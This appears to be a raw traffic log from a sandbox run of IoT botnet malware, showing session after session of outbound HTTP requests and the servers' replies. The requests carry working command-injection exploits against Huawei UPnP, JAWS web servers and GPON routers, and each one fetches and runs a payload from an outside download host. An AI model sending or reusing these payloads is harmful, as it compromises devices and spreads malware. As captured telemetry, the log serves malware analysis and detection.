6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1764	192.168.2.23	46698	192.3.144.194	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.443408012 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:48.649317026 CEST	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1765	192.168.2.23	47976	71.251.153.53	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.472335100 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:48.717118979 CEST	688	IN	HTTP/1.1 404 Not Found Server: CJServer/1.1 Set-Cookie: JSESSIONID=E3C887D38E1423CD4664E0534F1B5005; Path=/; HttpOnly Content-Type: text/html;charset=ISO-8859-1 Transfer-Encoding: chunked Vary: Accept-Encoding Date: Sun, 14 Apr 2024 02:01:48 GMT Data Raw: 31 39 65 0d 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 74 79 6c 65 3e 20 61 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 46 46 3b 20 7d 3c 2f 73 74 79 6c 65 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 45 72 72 6f 72 3c 2f 70 3e 0a 3c 70 3e 0a 0a 0a 0a 3c 2f 70 3e 0a 3c 74 61 62 6c 65 3e 0a 3c 74 72 3e 0a 3c 74 64 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c 75 65 3d 27 42 61 63 6b 27 20 6f 6e 63 6c 69 63 6b 3d 22 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 3b 6a 73 65 73 73 69 6f 6e 69 64 3d 45 33 43 38 38 37 44 33 38 45 31 34 32 33 43 44 34 36 36 34 45 30 35 33 34 46 31 42 35 30 30 35 27 22 2f 3e 0a 3c 2f 74 64 3e 0a 3c 74 64 3e 0a 0a 3c 61 20 68 72 65 66 3d 22 2f 7e 72 65 6c 70 61 74 68 2f 3b 6a 73 65 73 73 69 6f 6e 69 64 3d 45 33 43 38 38 37 44 33 38 45 31 34 32 33 43 44 34 36 36 34 45 30 35 33 34 46 31 42 35 30 30 35 3f 26 61 6d 70 3b 70 61 67 65 3d 2f 5f 63 6f 6d 6d 6f 6e 2f 73 65 72 76 6c 65 74 2f 77 61 70 2f 6f 70 74 69 6f 6e 73 26 61 6d 70 3b 6f 70 74 69 6f 6e 74 79 70 65 3d 6d 65 6e 75 22 3e 4d 65 6e 75 3c 2f 61 3e 0a 3c 2f 74 64 3e 0a 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 19e<html><body><style> a { color: #0000FF; }</style><p align="center">Error</p><p></p><table><tr><td><input type="button" value='Back' onclick="document.location='/;jsessionid=E3C887D38E1423CD4664E0534F1B5005'"/></td><td><a href="/~relpath/;jsessionid=E3C887D38E1423CD4664E0534F1B5005?&page=/_common/servlet/wap/options&optiontype=menu">Menu</a></td></tr></table></body></html>
Apr 14, 2024 04:01:48.717155933 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1766	192.168.2.23	52030	96.35.42.237	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.482208967 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:48.725970984 CEST	206	IN	HTTP/1.1 307 Temporary Redirect Location: /0.1/gui/?item=shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:49 GMT Server: HTTP Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1767	192.168.2.23	40650	80.244.166.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.605477095 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:48.973241091 CEST	617	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:01:49 GMT Server: Apache Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 296 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1768	192.168.2.23	44206	194.32.161.96	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.646238089 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:50.748328924 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:53.467983007 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1769	192.168.2.23	42864	114.143.112.254	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.650340080 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.063791990 CEST	421	IN	HTTP/1.1 200 OK Content-Security-Policy: default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-ancestors 'self' X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Date: Sun, 14 Apr 2024 02:01:48 GMT Etag: "5ec66d5f.1676" Content-Type: text/html Content-Length: 1676 Connection: close Accept-Ranges: bytes
Apr 14, 2024 04:01:49.064344883 CEST	1289	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ng-app="error404" ng-controller="Error404Ctrl"><head><title ng-bind="'error404_
Apr 14, 2024 04:01:49.064383984 CEST	411	IN	Data Raw: 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 63 6f 6e 63 61 74 3f 74 79 70 65 3d 6a 73 26 70 61 74 68 3d 65 72 72 6f 72 34 30 34 2f 67 6c 6f 62 61 6c 5f 6a 73 5f 6c 69 73 74 26 5f 3d 36 65 33 Data Ascii: ipt type="text/javascript" src="/concat?type=js&path=error404/global_js_list&_=6e3871a17699cb3b5a034fbcf850b449"></script><script type="text/javascript" src="/concat?type=js&path=error404/js_list&_=6e3871a17699cb3b5a034fbcf850b449"></script><s

Session ID	Source IP	Source Port	Destination IP	Destination Port
1770	192.168.2.23	38816	178.91.242.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.866995096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1771	192.168.2.23	49374	148.72.130.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.867063046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1772	192.168.2.23	53180	38.47.153.31	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.873054981 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.142505884 CEST	325	IN	HTTP/1.1 500 Internal Server Error Server: nginx Date: Sun, 14 Apr 2024 02:01:49 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1773	192.168.2.23	41578	13.227.60.183	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.873105049 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.142963886 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:49 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1774	192.168.2.23	60074	91.137.79.234	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.965601921 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.328377008 CEST	89	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Origin: * Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1775	192.168.2.23	42896	114.143.112.254	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:49.468997002 CEST	117	IN	HTTP/1.1 500 Server Error Content-Length: 48 Date: Sun, 14 Apr 2024 02:01:49 GMT Connection: close
Apr 14, 2024 04:01:49.469291925 CEST	60	IN	Data Raw: 45 72 72 6f 72 20 35 30 30 3a 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 43 6c 69 65 6e 74 20 63 6c 6f 73 65 64 20 63 6f 6e 6e 65 63 74 69 6f 6e Data Ascii: Error 500: Server ErrorClient closed connection

Session ID	Source IP	Source Port	Destination IP	Destination Port
1776	192.168.2.23	53430	217.18.59.143	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.512393951 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:51.683180094 CEST	139	IN	HTTP/1.1 403 Forbidden Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:01:49 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1777	192.168.2.23	5463	173.14.230.249	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.538691998 CEST	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
1778	192.168.2.23	45366	172.91.178.135	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.542215109 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:51.731364965 CEST	376	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 18:02:23 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Apr 14, 2024 04:01:54.736561060 CEST	376	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 18:02:23 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1779	192.168.2.23	45446	72.246.72.33	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.579477072 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:51.802512884 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:51 GMT Date: Sun, 14 Apr 2024 02:01:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 34 63 66 66 37 62 64 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 31 26 23 34 36 3b 61 30 33 30 35 37 38 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 34 63 66 66 37 62 64 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 31 26 23 34 36 3b 61 30 33 30 35 37 38 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.64cff7bd.1713060111.a030578<P>https://errors.edgesuite.net/9.64cff7bd.1713060111.a030578</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1780	192.168.2.23	35136	13.226.39.117	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.588135958 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:51.819644928 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:51 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1781	192.168.2.23	59882	161.71.49.52	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.678684950 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
